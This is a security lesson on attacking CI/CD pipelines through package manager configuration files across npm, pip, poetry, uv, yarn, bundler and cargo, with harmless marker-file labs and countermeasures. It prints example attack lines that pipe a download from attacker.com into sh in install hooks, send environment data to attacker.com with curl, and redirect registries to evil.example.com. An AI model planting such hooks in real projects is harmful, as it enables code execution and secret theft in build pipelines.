Skip to content
Français
Account: not signed in, sync available My learning
Select theme
Français

Package manager attacks in CI/CD

By updated

Improve this page

A plain install in a pipeline can run arbitrary code: all it takes is a booby-trapped package manager configuration file (.npmrc, package.json, requirements.txt, .yarnrc.yml, Cargo.toml). This lesson presents 5 techniques (registry redirection, lifecycle scripts, command hijacking, executable configuration, build script) across 7 package managers (npm, pip, poetry, uv, yarn, bundler, cargo), with one lab per technique and the countermeasures. It is aimed at DevOps engineers and developers who maintain CI/CD pipelines and know the command line.

One example is enough to fix the idea: a pull request adds a one-line .npmrc file at the root of the project. Nothing suspicious, just a registry setting (the registry is the server that hands out packages). Yet on the next npm install in the pipeline, every dependency is downloaded from a server the attacker controls, with no malicious code in the diff and no alert.

This lesson goes deep on one family of the threat panorama: the dependencies, seen from the package manager's configuration. The content of the packages is another angle. Typosquatting (publishing a package whose name differs from a popular one by a typo, to catch mistyped installs) and dependency confusion (publishing a public package under the name of an internal one, which the package manager then downloads instead) are covered in securing npm, PyPI and Go dependencies. To filter what comes in, see the artifact firewall.

What you will learn

  • Explain why package managers are an underestimated attack vector in CI/CD.
  • Recognize 5 concrete techniques: registry redirection, lifecycle scripts, command hijacking, executable configuration files, build scripts.
  • Reproduce each attack in a safe lab.
  • Apply the countermeasures that protect your pipelines.

For the labs, plan for a machine with Node.js, npm and Python 3, plus network access to PyPI (pypi.org): the pip labs download setuptools to build the package in an isolated environment. The lab for technique 4 also needs yarn and Ruby (bundler), and the one for technique 5 needs Rust (cargo): skip them if those tools are missing.

The attack flow at a glance

The following diagram shows how an attacker exploits the configuration files of package managers to run code in a CI/CD pipeline, and how the countermeasures block each step. Follow it from the entry points on the left (malicious PR, compromised dependency, dependency confusion) to the booby-trapped files, then to what the pipeline runs and what the attacker gains.

Attack flow through package managers in CI/CD: a malicious PR, a compromised dependency or dependency confusion drop booby-trapped files (.npmrc, package.json, requirements.txt, .yarnrc.yml, build.rs) that the pipeline runs, leading to secret exfiltration, a backdoor or lateral movement; CODEOWNERS, a lockfile with hashes, --ignore-scripts and cargo audit break the chain.VectorsBooby-trapped files in the repoImpactsCountermeasuresAttackerMalicious PR(modified config file)Compromised dependency(package with malicious scripts)Dependency confusion(public > internal package)package.jsonpreinstall / postinstallrequirements.txt-i evil.com / setup.py.yarnrc.yml / Gemfileexecutable config.npmrcregistry redirectPipeline CI/CDnpm install · pip install · cargo buildbuild.rsexec before build⚠ MALICIOUS CODE EXECUTEDSecret exfiltrationtokens, API keysBackdoor in artifactsimages, binariesLateral movementinternal network accessCODEOWNERSon sensitive filesLockfile + hashesintegrity verifiedblock--ignore-scripts--only-binary=:all:cargo auditscan build.rs files
Source · SVG
Esc to close, + and − to zoom, scroll to move around. 100 %

Why are package managers dangerous?

The fundamental problem

In a CI/CD pipeline, npm install, pip install -r requirements.txt and cargo build are considered safe commands. They are part of every build and every deployment. Nobody questions them.

The problem: these commands do more than download code. They read configuration files, run scripts, compile code, and each of these steps can be hijacked to run arbitrary code.

How does the attack reach the pipeline?

The booby-trapped file does not appear in the repository by magic: it needs a way in. These paths range from the most visible (a pull request that a careful review can intercept) to the most discreet (a poisoned CI cache that no code review looks at). Three vectors go through no diff of the project: the compromised dependency, dependency confusion and the poisoned cache. This is why protection cannot rely on human review alone.

VectorTechniqueBooby-trapped file
Malicious PRAdding or changing a config file.npmrc, requirements.txt, .yarnrc.yml
Compromised dependencyThe package contains a post-install scriptpackage.json, setup.py
Dependency confusionInternal package replaced by a public onerequirements.txt, package.json
Poisoned forkThe fork contains modified config filesCargo.toml + build.rs
Poisoned cacheThe CI cache contains modified files.npmrc, .bundle/config

Which 7 package managers are targeted?

Before detailing each technique, this table serves as a map: it associates each package manager with the configuration files that can run code in its case. Look at the Dangerous config files column: these are exactly the ones you must put under mandatory review in the last section. One file can carry several techniques: package.json, for example, combines registry redirection (via a neighboring .npmrc) and lifecycle scripts.

Package managerEcosystemDangerous config filesTechniques
npm (and npx)Node.js.npmrc, package.json, node_modules/.bin/Registry, lifecycle, binary
pipPythonrequirements.txt, setup.pyRegistry, post-install, hijack
poetryPythonpyproject.tomlRegistry, scripts, post-install
uvPythonrequirements.txtSame as pip
yarnNode.js.yarnrc.ymlExecutable config
bundlerRubyGemfile, .bundle/configExecutable config
cargoRustCargo.toml, build.rsBuild script

Technique 1: how does registry redirection work?

Registry redirection is the simplest attack: a configuration file points the package manager to a registry controlled by the attacker. The downloaded packages can contain malicious code while carrying the same names and versions as the legitimate ones.

npm / npx: the .npmrc file

A .npmrc file placed at the root of the project is read automatically by npm install and npx. A single line is enough:

.npmrc
registry=https://evil.example.com/

From then on, all the dependencies of the project are downloaded from the malicious registry. The package-lock.json is not enough: a lockfile (the file that records the exact version and hash of every dependency) checks that a package has not changed, not that the registry is legitimate, and npm follows the one that .npmrc designates. Without a lockfile, or with a lockfile regenerated by the attacker in the same PR, nothing contradicts the packages served.

pip: the -i option in requirements.txt

Few developers know it: requirements.txt accepts command-line options, not only package names. The -i option (or --index-url) redirects pip to another registry:

requirements.txt
-i https://evil.example.com/simple/
requests==2.31.0
flask==3.0.0

The command pip install -r requirements.txt will download requests and flask from evil.example.com instead of PyPI. The --extra-index-url option is even sneakier: it adds an extra registry, and pip picks the most recent version between the two registries, which enables a dependency confusion attack.

poetry: malicious sources in pyproject.toml

Poetry lets you define package sources in pyproject.toml:

pyproject.toml
[[tool.poetry.source]]
name = "internal"
url = "https://evil.example.com/simple/"
priority = "primary"

With priority = "primary", this source is consulted before PyPI for all the packages of the project.

Lab: test registry redirection

This lab uses an unreachable fake registry, so nothing malicious is ever downloaded. It shows that the package manager obeys the configuration file without any warning: the only visible effect is the failed connection.

  1. Create an npm project with a malicious .npmrc:

    Terminal window
    mkdir lab-npm-registry && cd lab-npm-registry
    echo '{"name":"lab","dependencies":{"is-odd":"3.0.1"}}' > package.json
    echo 'registry=https://evil.example.com/' > .npmrc
  2. Run npm install and observe:

    Terminal window
    timeout 10 npm install 2>&1 || true

    Expected result: the command fails without installing anything, either with a DNS error or after the 10-second timeout (npm may print nothing before it stops). In production, the malicious registry would answer with booby-trapped packages.

  3. Try the same thing with pip:

    Recent distributions refuse pip install outside a virtual environment (PEP 668): the lab creates a throwaway one.

    Terminal window
    cd .. && mkdir lab-pip-registry && cd lab-pip-registry
    python3 -m venv .venv && . .venv/bin/activate
    printf -- '-i https://evil.example.com/simple/\nrequests==2.31.0\n' > requirements.txt
    pip install -r requirements.txt 2>&1 || true

    Expected result: pip prints a connection error to evil.example.com, without installing anything.

  4. Clean up:

    Terminal window
    deactivate && cd .. && rm -rf lab-npm-registry lab-pip-registry

Technique 2: how do lifecycle and post-install scripts run code?

Some package managers automatically run scripts before, during or after the installation of a package. An attacker can exploit these mechanisms to run arbitrary code during a plain install.

npm: preinstall and postinstall

The package.json file supports lifecycle scripts (commands that npm runs automatically at defined moments), among them postinstall, which runs after the installation:

ScriptWhen it runs
preinstallBefore the dependencies are installed
installDuring the installation
postinstallAfter the dependencies are installed
prepareAfter install and before publish
prestartBefore npm start
pretestBefore npm test

A malicious package.json can run any command:

package.json
{
"name": "legitimate-package",
"version": "1.0.0",
"scripts": {
"preinstall": "curl https://attacker.com/payload.sh | sh"
}
}

The npm install command will run curl ... | sh before it even installs the dependencies. Two incidents of September 2025 show both faces of the risk. On September 8, the account of the maintainer Qix was compromised by phishing and booby-trapped versions of 18 packages, including debug and chalk (over two billion combined weekly downloads), were published, with a payload that hijacks cryptocurrency transactions in the browser; according to the analyses published at the time, they stayed online for about two hours. This is maintainer compromise in its pure form, with no install script. A week later, the Shai-Hulud worm spread by itself, each infection triggering new ones: the CISA alert of September 23, 2025 counts over 500 affected packages. According to researchers' analyses, it injected a postinstall script into the packages of the maintainers it compromised, and its Shai-Hulud 2.0 variant (November 2025) switched to preinstall to run earlier and shrink the detection window.

Since npm v12 (July 8, 2026), the preinstall, install and postinstall scripts of dependencies no longer run by default, unless the allowScripts policy of the root package allows them, but those of the project itself keep running: this is the case of the booby-trapped package.json above, modified by a PR. This block therefore closes the compromised-dependency attack, not the configuration-file attack. The post npm no longer runs install scripts details the change and the migration of pipelines.

pip: setup.py with cmdclass

When pip installs a package from source (not a pre-compiled wheel, the ready-to-install format that contains no build step), it runs setup.py. An attacker can override the install command:

setup.py
from setuptools import setup
from setuptools.command.install import install
class MaliciousInstall(install):
def run(self):
# Code run DURING the installation
import os
os.system("curl https://attacker.com/payload.sh | sh")
install.run(self)
setup(
name="legitimate-package",
version="1.0.0",
cmdclass={"install": MaliciousInstall},
)

The command pip install ./legitimate-package or pip install legitimate-package (if the package is distributed as an sdist, a source archive) will run the malicious code, with the rights of the pipeline user.

Lab: test lifecycle scripts

Here the "malicious" script only writes a marker file in /tmp. If the file exists after the install, the package manager has run code you never typed.

  1. Create a package.json with preinstall:

    Terminal window
    mkdir lab-npm-lifecycle && cd lab-npm-lifecycle
    cat > package.json << 'JSON'
    {
    "name": "lab-lifecycle",
    "version": "1.0.0",
    "scripts": {
    "preinstall": "echo '[LOTP] preinstall RCE' > /tmp/lab-npm-pwned.txt"
    }
    }
    JSON
  2. Run npm install:

    Terminal window
    npm install --ignore-scripts=false 2>&1
    cat /tmp/lab-npm-pwned.txt

    Expected result: the file /tmp/lab-npm-pwned.txt contains [LOTP] preinstall RCE. The script runs without any warning.

  3. Create a pip package with a malicious setup.py:

    Terminal window
    python3 -m venv .venv && . .venv/bin/activate
    mkdir -p lab-pip-setup/malicious_pkg
    cat > lab-pip-setup/malicious_pkg/setup.py << 'PYTHON'
    from setuptools import setup
    from setuptools.command.install import install
    import os
    class Exploit(install):
    def run(self):
    os.system("echo '[LOTP] setup.py RCE' > /tmp/lab-pip-pwned.txt")
    install.run(self)
    setup(name="malicious", version="1.0.0", cmdclass={"install": Exploit})
    PYTHON
  4. Install the package:

    Terminal window
    pip install ./lab-pip-setup/malicious_pkg 2>&1
    cat /tmp/lab-pip-pwned.txt

    Expected result: the file contains [LOTP] setup.py RCE.

  5. Clean up:

    Terminal window
    rm -f /tmp/lab-npm-pwned.txt /tmp/lab-pip-pwned.txt
    deactivate && cd .. && rm -rf lab-npm-lifecycle

Technique 3: what is command hijacking?

This technique exploits entry point mechanisms (the way a package declares an executable that the installer places on your system) to replace system commands with malicious versions. The attacker publishes a package that declares a console_scripts entry named after a common command (ls, git, curl...). The replacement is not automatic: the installed script only wins over the real command if the bin/ directory that receives it comes before the real command's directory (/bin, /usr/bin) in the PATH.

pip: console_scripts in setup.py

The console_scripts entry points let a Python package install an executable in the PATH (the ordered list of directories the shell searches when you type a command):

setup.py
from setuptools import setup
setup(
name="evil-ls",
version="1.0.0",
py_modules=["evil"],
entry_points={
"console_scripts": [
"ls=evil:main", # Targets the ls command!
],
},
)
evil.py
def main():
import subprocess
# Exfiltrate data (here the PATH, in practice secrets)
# before running the real ls
subprocess.run(["curl", "-s", "https://attacker.com/collect",
"-d", f"PATH={__import__('os').environ.get('PATH', '')}"],
capture_output=True)
# Run the real ls so as not to raise suspicion
subprocess.run(["/bin/ls"] + __import__('sys').argv[1:])

After pip install evil-ls, the package's ls command is installed in the bin/ directory of the Python environment. In a venv or a CI/CD pipeline where the Python PATH comes first (which is the case after activate, as it puts the venv's bin/ at the front of the PATH), this malicious version of ls will run instead of /bin/ls. If the venv's bin/ comes after /bin in the PATH, the real ls is found first and nothing is hijacked.

poetry: [project.scripts] in pyproject.toml

Poetry uses the same mechanism through pyproject.toml:

pyproject.toml
[project.scripts]
git = "malicious_pkg:hijacked_git"

Lab: test command hijacking

The hijacking is harmless here: the fake ls only prints a message. The point is to see, with which -a, that two ls now coexist and that the wrong one wins.

  1. Create a package with a malicious console_scripts:

    Terminal window
    python3 -m venv lab-venv && . lab-venv/bin/activate
    mkdir -p lab-hijack/evil_pkg
    cat > lab-hijack/evil_pkg/setup.py << 'PYTHON'
    from setuptools import setup
    setup(
    name="evil-ls",
    version="1.0.0",
    py_modules=["evil"],
    entry_points={"console_scripts": ["ls=evil:main"]},
    )
    PYTHON
    cat > lab-hijack/evil_pkg/evil.py << 'PYTHON'
    def main():
    print("[LOTP] ls command hijacked!")
    PYTHON
  2. Install and check:

    Terminal window
    pip install ./lab-hijack/evil_pkg 2>&1
    which -a ls
    ls

    Expected result: which -a ls shows at least two entries, the malicious ls first (in the bin/ of the activated Python environment), then the system ls. The ls command then prints [LOTP] ls command hijacked!. In a CI/CD pipeline with no shell alias, the malicious ls would run first provided that the environment's bin/ comes before /bin in the PATH: which -a lists them in the order the shell will try them.

  3. Clean up immediately:

    Terminal window
    deactivate && rm -rf lab-hijack lab-venv

Technique 4: how do executable configuration files work?

Some package managers use configuration files that are actually executable code. Modifying these files amounts to injecting code that will run on the next command of the package manager.

yarn: yarnPath in .yarnrc.yml

Yarn 2+ uses a .yarnrc.yml file for its configuration. The yarnPath directive tells yarn which JavaScript file to run as the package manager:

.yarnrc.yml
yarnPath: "./malicious.js"
malicious.js
const fs = require("fs");
// Code run BEFORE any yarn command
fs.writeFileSync("/tmp/yarn-pwned.txt",
"[LOTP] yarnPath RCE, run by yarn\n");
// Even `yarn --version` triggers the execution
process.exit(0);

Every yarn command, including yarn --version, first runs the file that yarnPath points to. This is by design in Yarn 2+ (Plug'n'Play), but it becomes an attack vector when an attacker modifies .yarnrc.yml through a PR.

bundler: the Gemfile is Ruby

Unlike the other configuration files, a Gemfile is not YAML or JSON: it is Ruby code run by Bundler. Any valid Ruby code placed in a Gemfile will run during bundle install:

Gemfile
# Ruby code run when the Gemfile is loaded
File.write("/tmp/bundler-pwned.txt",
"[LOTP] Gemfile RCE, Ruby code run\n")
source "https://rubygems.org"
gem "rake"

The Ruby code runs before the dependencies are resolved. Bundler also accepts a redirection through .bundle/config:

.bundle/config
---
BUNDLE_GEMFILE: "/path/to/malicious-Gemfile"

This technique redirects bundle install to an arbitrary Gemfile, even if it sits in another directory.

Lab: test executable configuration files

Both tests write a marker file, as before. Note that the code runs before the tool does any of the work you asked for: that is what makes these files dangerous.

  1. Test yarn with a malicious yarnPath:

    Terminal window
    mkdir lab-yarn && cd lab-yarn
    echo '{"name":"lab-yarn","version":"1.0.0"}' > package.json
    cat > poc.js << 'JS'
    const fs = require("fs");
    fs.writeFileSync("/tmp/lab-yarn-pwned.txt",
    "[LOTP] yarnPath RCE, even yarn --version runs it\n");
    console.log("[POC] Code run through yarnPath");
    process.exit(0);
    JS
    echo 'yarnPath: "./poc.js"' > .yarnrc.yml
    yarn --version 2>&1
    cat /tmp/lab-yarn-pwned.txt

    Expected result: even yarn --version runs poc.js and creates the file. The yarn command is never reached, the malicious code takes control immediately.

  2. Test bundler with Ruby code in the Gemfile:

    Terminal window
    cd .. && mkdir lab-bundler && cd lab-bundler
    cat > Gemfile << 'RUBY'
    File.write("/tmp/lab-bundler-pwned.txt",
    "[LOTP] Gemfile RCE, Ruby code run\n")
    source "https://rubygems.org"
    gem "rake"
    RUBY
    ruby -e 'load "./Gemfile"' 2>&1 || true
    cat /tmp/lab-bundler-pwned.txt

    Expected result: even if source raises an error (method not defined outside Bundler), the File.write runs before the error. In a Bundler context, the whole file runs without error.

  3. Clean up:

    Terminal window
    rm -f /tmp/lab-yarn-pwned.txt /tmp/lab-bundler-pwned.txt
    cd .. && rm -rf lab-yarn lab-bundler

Technique 5: what is build-time execution?

cargo: build.rs, execution before compilation

Cargo automatically runs a build.rs file located at the root of a crate (a Rust package) before it compiles the Rust code. This file can contain any Rust code, including system calls:

build.rs
use std::process::Command;
use std::fs;
fn main() {
// Run AUTOMATICALLY before cargo build
let output = Command::new("id").output().unwrap();
let id = String::from_utf8_lossy(&output.stdout);
fs::write("/tmp/cargo-pwned.txt",
format!("[LOTP] build.rs RCE, {}", id)).unwrap();
}

The build.rs file runs in these contexts:

CommandRuns build.rs?
cargo buildYes
cargo testYes (compilation required)
cargo benchYes (compilation required)
cargo runYes (compilation required)
cargo checkYes
cargo docYes

The Cargo.toml file can also reference build dependencies that themselves contain a build.rs:

Cargo.toml
[build-dependencies]
malicious-build-helper = "1.0.0"

Lab: test build.rs execution

As in the other labs, the build script only writes marker files. The second file records which user ran the code, to show it inherits your full rights.

  1. Create a Rust project with a malicious build.rs:

    Terminal window
    mkdir lab-cargo && cd lab-cargo
    cat > Cargo.toml << 'TOML'
    [package]
    name = "lab-cargo"
    version = "0.1.0"
    edition = "2021"
    TOML
    mkdir src
    echo 'fn main() { println!("Hello"); }' > src/main.rs
    cat > build.rs << 'RUST'
    use std::process::Command;
    use std::fs;
    fn main() {
    fs::write("/tmp/lab-cargo-pwned.txt",
    "[LOTP] build.rs RCE, code run before compilation\n")
    .unwrap();
    let output = Command::new("id").output().unwrap();
    fs::write("/tmp/lab-cargo-id.txt",
    format!("Run as: {}",
    String::from_utf8_lossy(&output.stdout)))
    .unwrap();
    }
    RUST
  2. Run cargo build:

    Terminal window
    cargo build 2>&1
    cat /tmp/lab-cargo-pwned.txt
    cat /tmp/lab-cargo-id.txt

    Expected result: both files are created. The build.rs runs before src/main.rs is compiled, with the full rights of the pipeline user.

  3. Clean up:

    Terminal window
    rm -f /tmp/lab-cargo-pwned.txt /tmp/lab-cargo-id.txt
    cd .. && rm -rf lab-cargo

How do you defend against package manager attacks?

Cross-cutting measures (all package managers)

These measures apply whatever the ecosystem, and that is their strength: rather than remembering one option per tool, you put a handful of safeguards in place that cover every vector at once. Read the Difficulty column as a deployment order: start with the "Low" rows, which already block the most common attacks for minimal effort, and keep the read-only pipeline for a second stage.

CountermeasureImpactDifficulty
Verified lockfileDetects registry and hash changesLow
--ignore-scripts for npmBlocks preinstall/postinstall, including the project's own that npm 12 still lets runLow
--only-binary=:all: for pipInstalls wheels only: no setup.py is runLow
Review of config files in PRsDetects .npmrc, .yarnrc.yml, etc.Medium
CODEOWNERS on sensitive filesRequires approval from designated reviewers (see below)Medium
Read-only pipeline (token with minimal permissions)Limits the impact of code executionHigh

Per package manager

The cross-cutting measures are not always enough: each package manager offers specific flags to defuse its own execution mechanisms. Open the tab of your ecosystem and remember the first command, the one that neutralizes the most dangerous vector (lifecycle scripts, installation from source, arbitrary yarnPath).

Terminal window
# Disable lifecycle scripts
npm install --ignore-scripts
# Audit the scripts before installing
npm pack <package> && tar xf <package>.tgz && cat package/package.json | jq '.scripts'
# Protect .npmrc with CODEOWNERS
echo "/.npmrc @security-team" >> .github/CODEOWNERS

Which files should you watch in PRs?

A CODEOWNERS file designates who must approve a PR that touches certain paths. Combined with the branch protection rule "Require review from Code Owners", it makes a review by the security team mandatory as soon as a PR modifies one of these files:

.github/CODEOWNERS
# Package manager configuration files
/.npmrc @security-team
/.yarnrc.yml @security-team
/Gemfile @security-team
/.bundle/config @security-team
/build.rs @security-team
# Files that can contain registry redirections
/requirements.txt @security-team
/pyproject.toml @security-team
/Cargo.toml @security-team

Troubleshooting

The symptoms below are the ones a developer notices after the fact, often because a command behaves oddly or a download goes to an unexpected domain. Each row points to the configuration file to inspect first: in almost every case, the proof of the compromise is in plain sight in a file of the repository; you still have to know which one to open.

SymptomLikely causeSolution
npm install downloads from an unknown registry.npmrc with a modified registryCheck .npmrc at the root and in ~/.npmrc
pip install fails with a certificate error-i to an invalid HTTPS registry in requirements.txtInspect requirements.txt for -i or --extra-index-url options
A system binary behaves strangelyconsole_scripts installs a binary of the same namewhich -a <command> to list all versions
yarn runs unexpected codeyarnPath points to a malicious fileCheck .yarnrc.yml, yarnPath must point to .yarn/releases/
cargo build writes unexpected filesbuild.rs contains malicious codeRead build.rs and look for Command::new, fs::write
bundle install runs commandsThe Gemfile contains arbitrary Ruby codeLook for system, exec, File.write in the Gemfile

Summary of the techniques

This table condenses the five techniques into a single view. The Trigger column is the most instructive: it shows that the common point is not the language but the moment the code runs, at install time, at build time or on the very first command. This is why an effective countermeasure targets that moment (block scripts, require pre-compiled artifacts) rather than one particular package manager.

#TechniquePackage managersBooby-trapped fileTrigger
1Registry redirectionnpm, pip, poetry, uv.npmrc, requirements.txt, pyproject.tomlinstall
2Lifecycle scriptsnpm, pip, poetry, uvpackage.json, setup.pyinstall
3Command hijackingpip, poetrysetup.py, pyproject.tomlinstall + usage
4Executable configyarn, bundler.yarnrc.yml, GemfileAny command
5Build scriptcargobuild.rsbuild, test, check

Key points

  • Package managers are not simple downloaders: they run code at install time, at build time, and even at configuration time.

  • 5 techniques allow arbitrary code execution: registry redirection, lifecycle scripts, command hijacking, executable configuration files, and build scripts.

  • All ecosystems are affected: Node.js (npm, yarn), Python (pip, poetry, uv), Ruby (bundler) and Rust (cargo).

  • The most direct technique to set up is registry redirection (one line in .npmrc or requirements.txt). Lifecycle scripts run code with no warning: since npm v12, only those of dependencies are blocked by default, not those of the project itself.

  • Command hijacking is not automatic: it only succeeds if the environment's bin/ comes before the real command's directory in the PATH.

  • A first barrier is CODEOWNERS: require a review by the security team for any package manager configuration file. It sees neither a compromised dependency nor a poisoned cache, hence the complement of lockfiles with hashes and of --ignore-scripts.

  • --ignore-scripts (npm) and --only-binary=:all: (pip) block code execution at install time, but can break some legitimate packages.

Knowledge check

Check that the essentials of this lesson are in place. The questions only cover what has just been explained here.

Knowledge check

Check what you have learned with this interactive quiz

6 questions
6 min
70% to pass

How it works

  • The timer starts when you click Start
  • Multiple choice, true/false and short answer questions
  • You can move between questions
  • Detailed results are shown at the end

Starts the quiz and the timer

Is this project useful to you?

The guides, courses, quizzes and labs stay free. If you use them regularly, you can contribute to their upkeep and development.

Become a supporting member (new tab) One-time support (new tab) Learn more

Follow the project on LinkedIn